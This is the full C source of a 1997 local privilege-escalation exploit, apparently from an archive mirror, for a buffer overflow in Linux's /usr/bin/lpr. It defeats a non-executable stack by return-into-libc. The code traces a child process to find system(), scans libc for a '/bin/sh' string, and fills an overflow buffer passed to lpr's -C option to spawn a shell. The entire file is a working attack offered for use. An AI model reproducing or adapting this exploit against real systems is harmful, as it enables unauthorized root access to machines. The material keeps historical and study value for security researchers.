home *** CD-ROM | disk | FTP | other *** search
- /*
- * /usr/bin/lpr buffer overflow exploit for Linux with
- * non-executable stack
- * Copyright (c) 1997 by Solar Designer
- */
-
- #include <stdio.h>
- #include <unistd.h>
- #include <string.h>
- #include <stdlib.h>
- #include <signal.h>
- #include <setjmp.h>
- #include <sys/ptrace.h>
- #include <sys/types.h>
- #include <sys/wait.h>
-
- #define SIZE 1200 /* Amount of data to overflow with */
- #define ALIGNMENT 11 /* 0, 8, 1..3, 9..11 */
-
- #define ADDR_MASK 0xFF000000
-
- char buf[SIZE];
- int *ptr;
-
- int pid, pc, shell, step;
- int started = 0;
- jmp_buf env;
-
- void handler()
- {
- started++;
- }
-
- /* SIGSEGV handler, to search in libc */
- void fault()
- {
- if (step < 0)
- {
- /* Change the search direction */
- longjmp(env, 1);
- }
- else
- {
- /* The search failed in both directions */
- puts("\"/bin/sh\" not found, bad luck");
- exit(1);
- }
- }
-
- void error(char *fn)
- {
- perror(fn);
- if (pid > 0) kill(pid, SIGKILL);
- exit(1);
- }
-
- void main()
- {
- signal(SIGUSR1, handler);
-
- /* Create a child process to trace */
- if ((pid = fork()) < 0) error("fork");
-
- if (!pid)
- {
- /* Send the parent a signal, so it starts tracing */
- kill(getppid(), SIGUSR1);
- /* A loop since the parent may not start tracing immediately */
- while (1) system("");
- }
-
- /* Wait until the child tells us the next library call will be system() */
- while (!started);
-
- if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH");
-
- /* Single step the child until it gets out of system() */
- do
- {
- waitpid(pid, NULL, WUNTRACED);
- pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
- if (pc == -1) error("PTRACE_PEEKUSR");
- if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
- }
- while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK));
-
- /* Single step the child until it calls system() again */
- do
- {
- waitpid(pid, NULL, WUNTRACED);
- pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
- if (pc == -1) error("PTRACE_PEEKUSR");
- if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
- }
- while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK));
-
- /* Kill the child, we don't need it any more */
- if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL");
- pid = 0;
-
- printf("system() found at: %08x\n", pc);
-
- /* Let's hope there's an extra NOP if system() is 256 byte aligned */
- if (!(pc & 0xFF))
- if (*(unsigned char *)--pc != 0x90) pc = 0;
-
- /* There's no easy workaround for these (except for using another function) */
- if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000))
- {
- puts("Zero bytes in address, bad luck");
- exit(1);
- }
-
- /*
- * Search for a "/bin/sh" in libc until we find a copy with no zero bytes
- * in its address. To avoid specifying the actual address that libc is
- * mmap()ed to we search from the address of system() in both directions
- * until a SIGSEGV is generated.
- */
- if (setjmp(env)) step = 1;
- else step = -1;
- shell = pc;
- signal(SIGSEGV, fault);
- do
- while (memcmp((void *)shell, "/bin/sh", 8)) shell += step;
- while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000));
- signal(SIGSEGV, SIG_DFL);
-
- printf("\"/bin/sh\" found at: %08x\n", shell);
-
- /*
- * When returning into system() the stack should look like:
- * pointer to "/bin/sh"
- * return address placeholder
- * stack pointer -> pointer to system()
- *
- * The buffer could be filled with this 12 byte pattern, but then we would
- * need to try up to 12 values for the alignment. That's why a 16 byte pattern
- * is used instead:
- * pointer to "/bin/sh"
- * pointer to "/bin/sh"
- * stack pointer (case 1) -> pointer to system()
- * stack pointer (case 2) -> pointer to system()
- *
- * Any of the two stack pointer values will do, and only up to 8 values for
- * the alignment need to be tried.
- */
- memset(buf, 'x', ALIGNMENT);
- ptr = (int *)(buf + ALIGNMENT);
- while ((char *)ptr < buf + SIZE - 4*sizeof(int))
- {
- *ptr++ = pc;
- *ptr++ = pc;
- *ptr++ = shell;
- *ptr++ = shell;
- }
- buf[SIZE - 1] = 0;
-
- execl("/usr/bin/lpr", "lpr", "-C", buf, NULL);
- error("execl");
- }
-